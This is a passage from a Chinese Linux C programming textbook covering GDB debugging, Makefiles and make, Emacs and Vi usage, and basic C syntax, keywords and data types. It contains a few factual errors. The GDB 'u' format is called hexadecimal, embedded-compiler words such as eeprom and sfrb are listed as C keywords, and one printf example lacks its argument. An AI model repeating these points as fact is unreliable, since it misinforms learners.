(gdb)



[4]输入"step"命令，程序运行一步，显示结果如下：



(gdb)step

29 in printf.c

(gdb)



5.查看变量

[1]查看变量值

在程序停止运行之后，程序员需要查看断点处的相关变量值。在GDB中只需键入“p变量值”即可，如下所示：



(gdb)p pi



结果如下：



(gdb)p pi

$1=4.5963038e-39

(gdb)



GDB在显示变量值时都会在对应值之前加上"$N"标记，它是当前变量值的引用标记，所以若想再次引用此变量就可以直接写作"$N"，而无需写冗长的变量名。

[2]观察变量

在某一循环处，程序员往往希望能够观察一个变量的变化情况，这时就可以键入命令watch来观察变量的变化情况。对程序example4_3.c，观察变量结果为：



(gdb)watch s

Hardware watchpoint 4:s

(gdb)



在此处必须键入完整的命令"watch"，因为在GDB中有不少以'w'开头的命令，如"where"、"while"等。

[3]退出GDB

退出GDB只需使用指令"q"（quit）即可，如下所示：



(gdb)q



到此为止，结束使用GDB。


4.4.2　GDB的帮助命令

在GDB输入"help"命令，显示的帮助信息如图4-13所示。
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图　4-13　GDB的帮助命令显示结果

在"help"命令后面加上一个命令名称，可以显示这个命令的帮助信息，例如输入"help list"，显示的信息如图4-14所示。
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图　4-14　输入"help list"命令的输出结果


4.4.3　设置/删除断点

GDB中丰富的断点设置、删除命令，可以满足用户各个方面的需求。表4-10列出了GDB中常见的断点设置及删除命令。
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如果程序是多线程的话，可以定义断点是否在所有的线程上，或是在某个特定的线程上。当程序被gdb停止时，所有的运行线程都会被停止。这方便用户查看运行程序的总体情况。而在恢复程序运行时，所有的线程也会被恢复运行。


4.4.4　数据相关命令

在GDB中也有丰富的数据显示相关命令，可以使用户以各种形式显示所要查看的数据，数据相关命令如表4-11所示。
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一般来说，GDB会根据变量的类型输出变量的值。但也可以自定义GDB的输出格式。其命令格式为：print/变量名+格式，其中格式有以下几种方式：

·x　按十六进制格式显示变量。

·d　按十进制格式显示变量。

·u　按十六进制格式显示无符号整型。

·o　按八进制格式显示变量。

·t　按二进制格式显示变量。

·a　按十六进制格式显示变量。

·c　按字符格式显示变量。

·f　按浮点数格式显示变量。


4.4.5　调试运行环境相关命令

在GDB中控制程序的运行也是非常方便的，用户可以自行设定变量值、调用函数等，其具体命令如表4-12所示。
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4.4.6　堆栈相关命令

GDB中也提供了多种与堆栈相关的命令，可以查看堆栈的情况、寄存器的情况等，其具体命令如表4-13所示。
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4.5　make工程管理器

在Linux(UNIX)环境下使用的make工程管理器是用于自动编译、链接程序的实用工具，它能够根据文件时间自动发现更新过的文件而减少编译的工作量，同时，它通过读入Makefile文件的内容来执行大量编译工作，用户只需要编写一次编译语句就可以了，不需要重复输入冗长的命令行，即编写一个Makefile文件，它大大提高了实际项目的工作效率。

make是一个命令工具，它解释Makefile中的指令（Makefile中称为规则）。Makefile文件则描述了整个工程所有源文件的编译顺序、编译规则以及编译方法；Makefile有自己的书写格式、关键字、函数；在Makefile中可以使用系统Shell所提供的命令（包括那些能够在Shell环境中运行的应用组件），来实现必要的操作。Makefile（在其他的系统上可能是另外的文件名）也是绝大多数IDE开发环境的基础，它已经成为一种工程编译方法。

make从Makefile文件中获取模块间的依赖关系，判断哪些文件过时了（所谓过时是指一个文件生成后，用来生成该文件的源文件或头文件被修改了，导致生成该文件所需的源文件或头文件的修改时间比生成该文件的时间晚），根据这些信息make确定哪些文件需要重新编译，然后使用Makefile中的编译命令进行编译。

make是一个Linux下的二进制程序，用来处理Makefile这种文本文件。在Linux的Shell命令行键入make的时候，将自动寻找名称为"Makefile"的文件作为编译文件，如果没有名称为"Makefile"的文件，将继续查找名称为"makefile"的文件。找到编译文件后，make工具将根据Makefile中的第一个目标自动寻找依赖关系，找出这个目标所需要的其他目标。如果所需要的目标也需要依赖其他的目标，make工具将一层层寻找直到找到最后一个目标为止。make工具的使用格式为：



make[options][target]..



options为make工具的选项，target为Makefile中指定的目标。表4-14给出了make工具的参数选项。
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 4.5.1　Makefile文件的构成

Makefile用来告诉make如何编译和链接成一个程序，Makefile里主要包含了5个方面的内容：显式规则、隐式规则、变量定义、文件指示和注释。

1.显式规则

显式规则说明了如何生成一个或多个目标。一条显式规则指明了目标文件、目标文件的依赖文件、生成或更新目标文件所使用的命令。显式规则的一般形式为：



target:dependency_files

command



其中，target是需要由Make工具创建的目标体（target），目标体通常可以是空格分开的多个文件名，也可以是一个标签。目标文件列表的文件名可以使用通配符，格式"A(M)"表示档案文件（Linux下的静态库.a文件）的成员M。通常规则只有一个目标文件。de-pendency_files是要创建的目标体所依赖的文件；command是创建每个目标体时需要运行的命令。例如，在Makefile中有一个规则：



test.o:test.c test.h

gcc-c-g test.c



第一行中，文件"test.o"是规则需要重建的文件，而"test.c"和"test.h"是重建"test.o"所要使用的文件。把规则所需要重建的文件称为规则的“目标”（test.o），而把重建目标所需要的文件称为规则的“依赖”（或者目标的依赖）。规则中的第二行"gcc-c-g test.c"是规则的“命令”。它描述了如何使用规则中的依赖文件重建目标。

书写规则时，需要注意以下几点：

·规则的命令部分有两种书写方式：命令可以和目标、依赖描述放在同一行。命令在依赖文件列表后并使用分号（；）和依赖文件列表分开。命令在依赖文件列表的下一行，作为独立的命令行。当作为独立的命令行时此行必须以"Tab"字符开始。在Makefile中，所有以"Tab"字符开始的行都会被当作命令来处理。

·Makefile中符号“$”有特殊的含义，它表示变量或者函数的引用，在规则中需要使用符号“$”的地方，需要书写成“$$”。

·对于Makefile中一个较长的行，我们可以使用反斜线“\”将其书写到几个独立的物理行上。

规则的中心思想是：目标文件的内容是由依赖文件决定，依赖文件的任何一处改动，将导致目前已经存在的目标文件的内容过期。规则的命令为重建目标提供了方法。这些命令运行在系统Shell中。

2.隐式规则

由于make有自动推导的功能，可以根据目标文件的文件名，自动产生目标的依赖文件和生成目标的命令。表4-15给出了常见的隐式规则目录。
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在隐式规则下只能查找到相同文件名的不同后缀文件，如"kang.o"文件必须由"kang.c"文件生成。

隐式规则仅仅能够用make默认的变量来进行操作。隐式规则的格式类似于普通规则，这个规则中的相关文件前必须用“%”标明。

3.变量定义

在Makefile中需要定义一系列的变量，一般都是字符串，它类似C语言中的宏，当Makefile被执行时，其中的变量都会被扩展到相应的引用位置上。

4.文件指示

包括三个部分，第一部分是在一个Makefile中引用另一个Makefile，就像C语言中的in-clude一样包含进来；第二部分是指根据某些情况指定Makefile中的有效部分，就像C语言中的预编译宏一样；第三部分是定义一个多行的命令。

5.注释

Makefile中“#”字符后的内容被当作注释处理。如果某行以“#”字符开头，那么此行就是注释行。一般在书写Makefile时建议将注释作为独立的一行，而不要和Makefile中其他有意义的内容放在同一行。如果需要在Makefile中使用“#”字符，可以用反斜杠进行转义，如：“\\#”。

Makefile中第一个规则之后的所有以"Tab"字符开始的的行，make程序都会将其交给系统Shell程序去解释执行。因此，以"Tab"字符开始的注释行也会被交给Shell来处理，此命令行是否需要被执行（Shell执行或者忽略）是由系统Shell程序来判断的。


4.5.2　Makefile变量

在Makefile中，变量是一个名字（像是C语言中的宏），代表一个文本字符串（变量的值）。Makefile中定义变量的一般形式如下。

1.变量名赋值符变量值

变量名习惯上只使用字母、数字和下划线，并且不以数字开头，变量名不可以包括“:”、“#”、“=”、前置空白和尾空白的任何字符串。赋值符主要有4个：“=”、“:=”、“+=”、“?=”。变量值是一个文本字符串。变量名是区分大小写的，也就是变量名"fun"和"Fun"代表的是不同变量。另外，有一些变量名只包含了一个或者很少的几个特殊的字符（符号），如“$＜”、“$@”、“$?”、“$*”等，称它们为自动变量。

2.引用变量

定义了一个变量之后，就可以在Makefile的很多地方使用这个变量。变量的引用方式是“$（变量名）”或者“${变量名}”。例如："$（fun）"或者"${fun}"就是取变量"fun"的值。对一个变量的引用可以在Makefile的任何上下文中，在目标、依赖、命令、绝大多数指示符和新变量的赋值中。

变量名中包含字母、数字以及下划线以外的情况应尽量避免，因为它们可能在将来被赋予特别的定义。

Makefile中的变量分为用户自定义变量、预定义变量、自动变量及环境变量。自定义变量的值由用户自行设定，而预定义变量和自动变量中部分为默认值，也就是常见的设定值，当然用户可以对其进行修改。

预定义变量包含了常见编译器、汇编器的名称及其编译选项，表4-16列出了Makefile中的常见预定义变量及其部分默认值。
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由于常见的GCC编译语句中通常包含了目标文件和依赖文件，而这些文件在Makefile文件中目标体的一行已经有所表现，因此，为了进一步简化Makefile的编写，引入了自动变量。

自动变量通常可以代表编译语句中出现目标文件和依赖文件等，并且具有本地含义（即下一语句中出现的相同变量代表的是下一语句的目标文件和依赖文件），表4-17列出了Makefile中的常见自动变量。
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另外，在Makefile中还可以使用环境变量。使用环境变量的方法相对比较简单，make在启动时会自动读取系统当前已经定义了的环境变量，并且会创建与之具有相同名称和数值的变量。但是，如果用户在Makefile中定义了相同名称的变量，那么用户自定义变量将会覆盖同名的环境变量。


4.5.3　make的使用

使用make管理器非常简单，只需在make命令的后面键入目标名即可建立指定的目标，如果直接运行make，则建立Makefile中的第一个目标。

此外，make还有丰富的命令行选项，可以完成各种不同的功能，表4-18列出了常用的make命令行选项。
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4.6　Emacs综合编辑器

Emacs不仅仅是一款功能强大的编译器，更是一个集编辑、编译、调试于一体的开发环境。

Emacs的使用和Vi截然不同。在Emacs里，没有类似于Vi的3种模式。Emacs只有一种模式，也就是编辑模式，而它的命令全靠功能键完成。与Vi相比，Emacs的一个显著特点是可以使用鼠标进行大部分的操作。在Emacs中的功能键基本上都是由C（Ctrl键）或M（Alt键）的组合完成的，例如"C-f"就是按住Ctrl键的同时键入f，而"C-x C-c"则代表先按住Ctrl键再同时按住x键，再按住Ctrl键再同时按住c键。


 4.6.1　Emacs的启动与退出

启动Emacs很简单，只需在命令行中键入emacs[文件名]即可（若缺省文件名，也可在Emacs编辑文件后另存时指定），也可从“应用程序”|“编程”|"Emacs"打开，单击任意键进入Emacs的工作窗口，如图4-15所示。Emacs的工作窗口分为两个部分，上部为编辑窗口，底部为命令显示窗口，用户执行的功能都会在底部有相应的显示，有时也需要用户在底部窗口输入相应的命令，如查找字符串等。
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图　4-15　Emacs编辑器界面

若想要退出Emacs的工作窗口，则可使用功能键"C-x C-c"退出，若当时所编辑的文件还未保存，则系统会提示是否要保存该文件等。


4.6.2　Emacs的基本编辑

Emacs只有一种编辑模式，因此用户无需进行模式间的切换，下面介绍Emacs中的基本编辑功能键。

1.移动光标

掌握移动光标对应的功能键后，可以在所有类型的终端上工作，比使用“上”、“下”、“左”、“右”方向键移动光标效率更高，表4-19所示为Emacs中光标移动的常见功能键。
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2.剪切和粘贴

在Emacs中可以使用Delete和BackSpace删除光标前后的字符，表4-20所示为以词和行为单位的剪切和粘贴功能键。
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在Emacs中对单个字符的操作是“删除”，而对词和句的操作是“剪切”，即保存在缓冲区中，以备后面的“粘贴”所用。

3.复制文本

在Emacs中的复制文本包括两步：选择复制区域和粘贴文本。选择复制区域的方法是：首先在复制起始点（A）按下"C-Spase"或"C-@（C-Shift-2）"使它成为一个表示点，再将光标移至复制结束点（B），再按下"M-w"，就可将A与B之间的文本复制到系统的缓冲区中。再使用功能键"C-y"将其粘贴到指定位置。

4.查找文本

查找文本的功能键如表4-21所示。
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5.文档相关

在Emacs中与文档相关的功能键如表4-22所示。
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Emacs在编辑时还会为每个文件提供“自动保存”（auto save）的机制，而且自动保存的文件的文件名前后都有一个“#”，例如，编辑名为"hello.c"的文件，其自动保存的文件的文件名就叫"#hello.c#"。当用户正常地保存了文件后，Emacs就会删除这个自动保存的文件。当系统发生异常时这个机制非常有用。

6.窗口相关

在Emacs中编辑时通常会涉及几个窗口，因此，掌握与窗口相关的指令是非常重要的，表4-23列出了Emacs中与窗口相关的功能键。
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7.取消指令

有些Emacs命令会运行很久，可以用"C-g"指令使之中断，当用户写错了一个指令想要取消执行时，也可以使用此指令。

8.退出文档

在Emacs中退出文档的功能键为"C-x C-c"。


4.6.3　Emacs的C模式

Emacs是一个功能强大的图形化文本编辑器，它还是一个集编译、调试等于一体的工作环境，可以使用Emacs来编写C源程序。

1.进入C模式

启动某一文件时，Emacs会判断文件的类型，从而自动选择相应的模式。进入Emacs的C模式有两种方法：用户可以直接打开一个后缀名为".c"的文件使Emacs进入到默认的C模式中，也可以在其他模式键入命令"M-x c-mode"即可。这里的"c-mode"是在底部窗口出现"M-x"提示符后用户自行键入的，当然也可以键入其他模式，如"Shell"等。

在强大的C模式下，用户拥有自动缩进、注释、预处理扩展、自动状态等强大功能。在C模式下编辑代码时，可以用Tab键自动地将当前行的代码产生适当的缩进，使代码结构清晰，也可以指定缩进的规则。Emacs支持的缩进规则有：bsd、cc-mode、ellemtel、gnu、java、k＆r、[wiki]linux[/wiki]、python、stroustrup、user、whitesmith，通过"M-x c-set-style"命令指定。在Emacs中，用"M-"可以产生一条右缩进的注释。C模式下是"/*comments*/"形式的注释，C++模式下是"//comments"形式的注释。当用户高亮选定某段文本，然后操作"C-c C-c"，就可以注释该段文字。

在C模式中可以对源代码进行编译，使用命令"M-x compile"或者单击"Tools"下的"Compile"即可进行编译。

2.C模式中的调试

在C模式中，还可以对源代码使用GDB进行调试，这时可调用"M-x gdb"命令，把要调试的可执行文件作为参数。"M-x gdb"命令启动GDB成为Emacs的一个子过程，Emacs为这个子过程生成一个新的缓冲区，处理输入的数据。还可以单击"Tools"下的"Debug-ger"来使用GDB进行调试，出现系统提示后输入可运行文件以便进行调试即可。当GDB被调用时最初将看到一个和标准GDB一样的窗口。在程序的适当地方设置断点后运行程序，源代码窗口将会有标记指向断点位置的代码并高亮显示，GDB窗口将不再显示代码。

用户在Emacs的GDB窗口中可以使用任何GDB中的命令，Emacs把GDB的命令和快捷键都做了绑定。此外，Emacs还有另外一些增强功能，由于GDB的功能已经非常强大，足以应对程序调试中的各项问题。在Emacs的GDB调试过程中，下半部分的窗口会显示出程序的运行情况，这样就大大方便了用户的使用。


4.6.4　Emacs的Shell模式

Emacs的强大还在于它可以在内部运行Shell命令，Emacs里的Shell与普通的Shell没有区别，在Emacs中有两种执行Shell命令的方法：一种是进入shell command mode，另一种是进入shell mode，二者都可以执行Shell命令。在Shell模式下用户可以任意操作。但是，在Emacs的Shell环境下，不能运行某些需要对控制台进行控制的程序，比如mc。


4.7　实践拓展

1.打开待编辑文件后才知道登录的用户对该文件没有写权，不能存盘

1）:w/tmp/1　既然没法存盘，不想放弃所做的所有修改，先临时存到/tmp/1。

2）:10,50w/tmp/1　或者仅仅把第10～50行之间的内容存盘成文件/tmp/1。

2.用Vi编辑一个文件，但需要删除大段内容

1）Ctrl+G　把光标移到需要删除的行处按Ctrl+G显示行号，到结尾处再按Ctrl+G。

2）:3,1500d　假定两次行号为3和1500，则把这之间的内容全删除。也可以在开始和结束两行中用"ma,mb"命令标记后用"'a,'bd"删除。

3.在Emacs里显示日期



(setq display-time-day-and-date t)

(display-time)



4.在Emacs中使选取的区域为矩形

Ctrl+空格键，然后把光标移到下几行。



ctrl+x r k

ctrl+x r y



5.在Emacs中设置显示文件字体的大小

可通过修改Default face的Height属性来实现（用customize-face命令或者在菜单中找修改face的一项）。


4.8　思考与练习

一、概念题

1.Vi编辑器的基本模式有哪些？

2.Vi中3种模式的切换如何进行？

3.Vi的文件操作指令有哪些？

二、操作题

1.Linux环境下，使用Emacs编辑器编写一个程序，要求输入两个整数，输出这两个整数的乘积、余数和平均数。

2.编写几个测试程序及相应的Makefile文件，然后使用make命令进行编译。

3.比较Linux静态库和动态库的不同，编写生成静态库和动态库的源程序。


第5章　数据、运算符和表达式

本章要点：

C程序概述

C程序的结构和语法规则

C程序的基本数据类型

算术运算符、赋值运算符及其表达式

关系运算符、逻辑运算符及其表达式

变量的初始化及不同类型数据之间的转换


 5.1　C程序的结构和语法规则

下面通过一个简单的示例，介绍C语言程序的基本结构和书写格式，使读者对C语言程序有一个基本的了解。在此基础上，再进一步了解C语言程序的语法和书写规则。

【例5-1】求三个数的平均值的C语言程序

[1]在Vi中创建一个新工程文件，命名为"example5_1.c"。

[2]在"example5_1.c"中创建如下代码。



#include＜stdio.h＞

main()/*main()为主函数*/

{

float x,y,z,aver;/*定义x,y,z,aver为实型数据*/

x=8;

y=9;

z=12;

aver=(x+y+z)/3;/*计算平均值*/

printf("aver=%f\n",aver);/*在屏幕上输出aver的值*/

}



[3]编译并运行程序，结果如图5-1所示。
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图　5-1　例5-1的输出结果

结合以上实例，可以看出C语言程序结构有以下基本特点：

·一个C语言程序通常包含一个或多个头文件，例5-1中包含一个名为stdio.h的头文件，该头文件对一些输入/输出函数进行声明。

·C语言程序是由函数（如main()函数）组成的，函数是具有一定功能的、由函数头和函数体组成的语句块。每一个函数完成相对独立的功能，函数是C语言程序的基本模块单元。main是函数名，函数名后面的一对圆括号是用来写函数的参数的。参数可以有，也可以没有（本程序没有参数），但圆括号不能省略。

·一个C语言程序总是从main()函数开始执行。主函数执行完毕，程序执行结束。

·C语言编译系统区分字母大小写。C语言把大小写字母视为两个不同的字符，并规定每条语句或数据说明均以分号（；）结束。分号是语句不可缺少的组成部分。

·主函数main()既可以放在其他函数之前，也可以放在其他函数之后。习惯上，将主函数main()放在最前面。

·C语言程序中所调用的函数，既可以是由系统提供的库函数，也可以是由设计人员根据需要而设计的函数。

·为了增加程序的可读性，通常会加入一些注释，C语言规定“/*”与“*/”之间的内容是注释。注释是对程序的说明，对程序的编译和运行不起作用。程序中还可以加入一些空行来分隔程序，以增加程序的可读性。

·C程序书写格式比较自由，可以在一行上写几条语句，也可以把一条语句分成几行来写。

由此，可以归纳出C语言函数的一般结构：任何函数（包括主函数main()）都是由函数声明和函数体两部分组成的。其一般结构为：



[函数类型]函数名([函数形式参数表])

/*函数说明部分*/

{

[数据声明部分]

函数执行部分

}



其中，加方括号（[]）时，表示其中的内容可以省略，以下相同。

1.函数声明部分

函数声明部分由函数类型（可缺省）、函数名和函数形式参数表（简称形参表）三部分组成。其中，函数形参表的一般格式为：



([数据类型 参数1,][数据类型 参数2,]…)



2.函数体部分

函数体部分由函数说明部分以下的一对大括号“{}”内的若干条语句构成。函数体一般又由数据说明部分和函数执行部分两部分构成。如果一个函数内有多对大括号，则最外面的一对大括号是函数体的范围。

（1）数据声明部分

数据声明部分由变量定义、自定义函数声明、外部变量声明等部分组成。其中，变量定义是主要的。

（2）函数执行部分

函数执行部分一般由若干条可执行语句构成。有关函数的详细内容，将在后续章节介绍。

在C语言程序中，头文件被大量使用，一般而言，C语言程序通常由头文件（header files）和定义文件（definition files）组成。头文件是一种包含函数原型声明、常量定义的文件，用于保存程序的声明。C程序的头文件以".h"为后缀。C程序包含头文件有两种方法：#include＜my-inc.h＞和#include"myinc.h"。


5.2　C程序语句概述

从程序流程的角度分析，程序可以分为三种基本结构：顺序结构、分支结构、循环结构。三种基本结构可以组成所有的各种复杂程序。C语言提供了多种语句来实现这些程序结构。在C语言中既有任务单一的简单语句，也有由许多语句构成的完成某一功能的复合语句。C语言的语句以分号作为结束标志。总体来说，C程序包含以下五种语句。

1.空语句

下面是一个空语句



;



空语句只有一个分号，它表示什么操作也不做。从语法上讲，它的确是一条语句。在程序设计中，若某处从语法上需要一条语句，而实际上不需要执行任何操作时就可以使用它。例如，在设计循环结构时，有时用到空语句。

2.表达式语句

运算符、常量、变量等可以组成表达式，而表达式后加分号就构成表达式语句。

例如，"a=3"是赋值表达式，而"a=3"；就构成了赋值语句。如果没有分号，编译器不能识别，加上分号后，编译器就认为这是一个语句，会分析这个语句，并执行该语句。

3.复合语句

用一对大括号括起一条或多条语句，称为复合语句。复合语句又被称为块（block），块同时也标识了一个作用域，在一个块中定义的变量只能在该块内部使用。复合语句的一对大括号中无论有多少语句，复合语句只视为一条语句。

例如，{t=a;a=b;b=t;}是复合语句，所以执行复合语句实际是执行大括号中的所有语句。注意，复合语句的“}”后面不能出现分号，而“}”前复合语句中最后一条语句的分号不能省略。如：



{t=a;a=b;b=t;};

{t=a;a=b;b=t}



均是错误的复合语句。

在块前面定义的变量可以在块的内部使用，而在块内定义的变量不能在块的外部使用。

4.函数调用语句

由一个函数调用和一个分号就构成了一个函数调用语句。如：



printf("The result is:%d");



函数和变量一样，要先定义然后使用，没有定义的函数，编译器不能识别也不知道它完成什么功能。

5.控制语句

控制语句用于控制程序的执行流程。C程序有三类控制语句，共九种语句。

（1）选择语句

选择语句有if语句和switch语句两种，而switch语句能实现多个分支流程。

（2）循环语句

循环语句有for、while和do_while三种。当循环语句的循环控制条件为真时，反复执行指定操作，是C语言中专门用来构造循环结构的语句。

（3）转移语句

转移语句有break、continue、return和goto四种。它们都能改变程序原来的执行顺序并转移到其他位置继续执行。例如，循环语句中break语句终止该循环语句的执行；而循环语句中的continue语句只结束本次循环并开始下次循环；return语句用来从被调函数返回到主调函数并带回函数的运算结果；goto语句可以无条件转向任何指定的位置执行。


5.3　基本概念

本节介绍C语言的一些基本概念，包括标识符、关键字、常量和变量等。关键字在程序中代表固定的含义，不能另作他用。标识符是用来表示变量名、符号常量名、文件名等的一些有专门含义的名字。常量是在程序运行中不发生变化的值，变量是指在程序运行中其值可以在一定范围内变化的值。


 5.3.1　标识符

标识符是指用来标识程序中用到的变量名或者函数名、类型名、数组名、文件名等的有效字符序列，其命名规则是由字母（az,AZ）或下划线（_）后跟一连串的字母和/或数字（0～9），和/或下划线组成，且第一个字符必须是字母或下划线，不能以数字开头。C语言不限制标识符的长度，但是它受各种C语言编译器的限制，同时也受各种机器的限制。以下标识符名是合法的：



_variable,Year,i,number_book



而以下标识符是不合法的：



$345,12year,a*c



标识符要区分大小写，可以为任意长度。但是有些编译器只识别有限数量的字符，如只认前32个字符，所以要特别注意。


5.3.2　关键字

特定单词对于编译器具有特殊的含义，被认为是关键字。这些关键字应当以小写形式输入，每个关键字都有固定的含义，不能另作其他用途。下面列出的是关键字。



auto defined float Long static while

break do for register struct

bit double funcused return switch

case eeprom goto short typedef

char else if signed union

const enum inline sizeof unsigned

continue extern int sfrb void

default flash interrupt sfrw volatile



C语言的关键字分为以下几类。

（1）类型说明符

用于定义、说明变量、函数或其他数据结构的类型，如int、double等。

（2）语句定义符

用于表示一个语句的功能。例如，后面章节将会介绍的"if else"就是条件语句的语句定义符。

（3）预处理命令字

用于表示一个预处理命令，如前面用到的include。


5.3.3　常量

常量又称常数，是指在程序运行过程中其值不能被改变的量，常量也分为不同的类型，这是由常量本身隐含决定的。例如，12、3、-14等为整型常量，2.3、-1.22为实型常量，'a'、'b'为字符常量。


5.3.4　变量

变量是指在程序运行过程中其值可以被改变的量。变量被区分为不同的类型，不同类型的变量在内存中占用不同的存储单元，以便用来存放相应变量的值。

组成变量名（标识符号）的有效字符数随C语言的编译系统而定。有的编译系统允许使用长达31个字符的变量名，而有的编译系统只取变量名的前8个字符作为有效字符，后面的字符无效，不被识别，这样，只要变量名的前8个字符相同，就被认为是同一个变量。因此，在进行程序设计之前，应首先了解所使用的编译系统对变量名长度的规定，以免造成变量使用上的混乱。


5.4　基本数据类型

数据以一定的类型和格式存储在计算机中，数据类型是一类数据的集合。数据的类型可以是整型、实型、字符型，也可以是图形、图像、声音等。在C语言中，数据类型可以分为基本数据类型、构造数据类型（包括数组、枚举类型、结构体和联合体）、指针类型、空类型四大类。本节介绍C语言中的整型、字符型、单精度浮点型和双精度浮点型数据，它们分别由如下标识符进行定义。



int 整型

char 字符型

float 单精度浮点型

double 双精度浮点型



C语言规定，对程序中用到的所有变量，都必须先定义后使用，每个变量只能与一种数据类型相联系。在定义变量时，不能把C语言中具有固定含义的关键字（如int等）作为变量名。同时，同一个函数内所定义的变量不能同名。


 5.4.1　整型变量及其常量

1.整型变量

整型变量可用来存放整型数据（即不带小数点的数），整型变量有一定的字节长度和存储数据范围。其定义方式如下：



int p1,p2;



其中，p1和p2被定义为整型变量。

int是整型变量的基本类型，整型变量还有短整型（short int或short）和长整型（long int或long），它们的不同之处在于变量在内存中存储时所占用的字节数不同。通常在32位机上短整型为2字节即16位，基本整型和长整型为4字节即32位。

2.整型常量

在C语言中，整型常量即常数，可以用三种数制来表示。

（1）十进制整型常量

十进制整型常量通常没有前缀，其数值取0～9。如255、1635、-25等是合法的整型常量；不合法的十进制常量如011（不能含有前缀0）、32C（不能含有非十进制数）。

（2）十六进制整型常量

如果整型常量以0x或0X开头，那么这就是用十六进制形式表示的整型常量。十六进制的整型常量数值取0～9、A～F（或a～f，分别对应数字10～15）。例如，十进制数的128，用十六进制表示为0x80或0X80。合法的十六进制数如：0xB2、0xFFFF等。不合法的十六进制数如：15（没有前缀0x或0X，将被计算机视为十进制数）、0x10G（G不是合法的十六进制数码）。

（3）八进制整型常量

如果整型常量的最高位为0，那么它就是以八进制形式表示的整型常量，其数字为0～7。例如，十进制数128，用八进制表示为0200。合法的八进制数如：013、0110等，不合法的八进制数如123（没有前缀0），02B1（包含非八进制数码）。


5.4.2　浮点型变量及其常量

1.浮点型变量

在C语言中，把带有小数点的数称为浮点数，也可以称为实型数。

浮点型变量又被称为实型变量，按其能够表示的数的精度，又被分为单精度浮点型变量和双精度浮点型变量，单精度浮点型变量在内存中占据4个字节，双精度浮点型变量在内存中占据8个字节。

单精度浮点型变量的定义方式如下：



float x,y;/*x和y被定义为单精度浮点型变量*/



双精度浮点型变量的定义方式如下：



double z;/*z被定义为双精度浮点型变量*/



单精度浮点型变量和双精度浮点型变量之间的差异，仅仅体现在所能表示的数据的精度上，当单精度浮点型所提供的精度不能满足要求时，则可以考虑使用双精度浮点型。单精度浮点型变量的取值范围约在-10-37
 ～1038
 之间，有效数字是7位。双精度浮点型变量的取值范围约在-10-307
 ～10308
 之间，有效数字是16位。

【例5-2】浮点型变量的有效位数

本例子用来说明有效位数的概念。

[1]在Vi中创建一个新工程文件，命名为"example5_2.c"。

[2]在"example5_2.c"中创建如下代码。



#include＜stdio.h＞

main()

{

float a=6666.66666;

double b=6666666666.66666666666;

printf("a is%f\n",a);

printf("b is%f\n",b);

}



[3]编译并运行程序，结果如图5-2所示。

本例中，由于a是单精度浮点型，有效位数只有7位，整数占了4位，所以小数点三位以后皆为无效数字。b是双精度浮点型，有效位为16位，整数占了10位，小数部分的7是四舍五入的结果。%f规定小数点后最多保留6位。
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图　5-2　例5-2的输出结果

2.浮点型常量

浮点型常量一般不分float型和double型，任何一个浮点型常量，既可以赋给float型变量，也可以赋给double型变量。但由于float型变量和double型变量所能表示的数的精度不同，所以，在赋值时，将根据变量的类型来截取相应的有效位数。

浮点型常量有如下两种表示形式。

（1）十进制数形式

它是由数字和小数点组成的。例如，3.1415、-2.5等都是用十进制数的形式表示的浮点数。

（2）指数法形式

指数法又称为科学计数法，它是为方便计算机对浮点数的处理而提出的。例如，十进制数的150000.0，用指数法可表示为1.5e5，1.5被称为尾数，5被称为指数，字母e也可以用E来表示。需要注意的是，用指数形式来表示浮点数时，字母e或E之前（即尾数部分）必须有数字，且e后面的指数部分必须是整数，例如，e2.1是不合法的指数表示形式。


5.4.3　字符型变量及其常量

1.字符型变量

字符型变量用于存放一个单个字符，它的定义方式如下：



char c1,c2;



其中，关键字char用来定义字符型变量，c1和c2即被定义为字符型变量。一个字符型变量在内存中占一个字节（8位），只能存放一个字符。字符是以ASCⅡ码的形式存放在内存单元中的，长度为一个字节。各种字母和符号都可以是一个字符型变量。每个字符对应一个ASCⅡ码，如字符a对应的ASCⅡ码是97。因此，字符型变量的值实质上是一个8位的数值，其范围在-128～127。字符型变量也可以加上修饰符unsigned变为unsigned char，来表示一个8位的无符号整数，其取值范围为0～28
 -1。字符型变量与int数据间可进行算术运算，如下例所示。

【例5-3】字符型变量的使用

本例用来说明字符型变量的使用以及运算。

[1]在Vi中创建一个新工程文件，命名为"example5_3.c"。

[2]在"example5_3.c"中创建如下代码。



#include＜stdio.h＞

#define PIC 12.5

main()

{

int num=3;

float tal;

char ch1,ch2='D';

tal=num*PIC;

ch1=ch2-'A'+'a';

printf("tal=%f\n",tal);

}



[3]编译并运行程序，结果如图5-3所示。
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图　5-3　例5-3的输出结果

ASCⅡ码是计算机内部的字符编码集，所有的信息在计算机内都是以ASCⅡ码的形式保存的。

2.字符型常量

字符型常量是由一对单引号括起来的一个字符，例如，'a'，'7'等都是合法的字符型常量。

C语言中，'a'和'A'是不同的字符型常量。

在C语言中，还允许使用一些特殊形式的字符型常量，这些字符型常量都是以反斜线字符“\”开头的字符序列（又称为转义字符），转义字符具有特别的含义，不同于字符原来的含义。常用的转义字符见表5-1所示。
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需要注意的是，上面介绍的由“\”开头的特殊字符，仅代表一个单个字符，而不代表多个字符，它仅代表相应系统中的一个编码值。

3.字符串常量

前面已经介绍过，字符型常量是由单引号括起来的单个字符。C语言除了允许使用字符型常量外，还允许使用字符串常量。字符串常量是由一对双引号括起来的字符序列，如"string"就是一个字符串常量，从表面上看，"string"是由6个字符组成的，但实际上它是出由7个字符组成的，这是因为在C语言中，系统自动地在每个由双引号括起来的字符串中最后补上'\0'字符，即ASCⅡ码位为0的字符。因此，C语言中的每个字符串都是以'\0'为结束标志的。例如字符串"string"在内存中的存储形式如图5-4所示。

[image: ]


图　5-4　字符串"string"在内存中的存储形式

需要注意的是，不能将字符串常量赋给一个字符型变量，如果要保存字符串常量，需要使用后面介绍的字符数组来完成。


5.4.4　长整型、短整型和无符号整型

前面已经介绍了四种基本数据类型，它们是int、char、float和double。C语言在int型的基础上又发展了三种基本数据类型，它们是长整型、短整型和无符号整型，分别用long int、short int和unsigned int来表示。

1.长整型

长整型变量的定义方式如下：



long int x;



其中，x是长整型变量，关键字int可以省略，存储单元的最高位是符号位。

使用长整型变量的目的是为了存放比较大的整数。长整型变量能够表示的数值范围与计算机系统有关，一般是int型变量有效位数的两倍，int型变量如果占2个字节，则long int型变量可能占4个字节，这样，长整型变量所能表示的数值范围将远远超过一般整型变量所能表示的范围。

在整型常量的末尾加上字母L或l，就构成了长整型常量。例如，8856321写成8856321L或8856321l。

2.短整型

短整型变量的定义方式如下：



short int x;



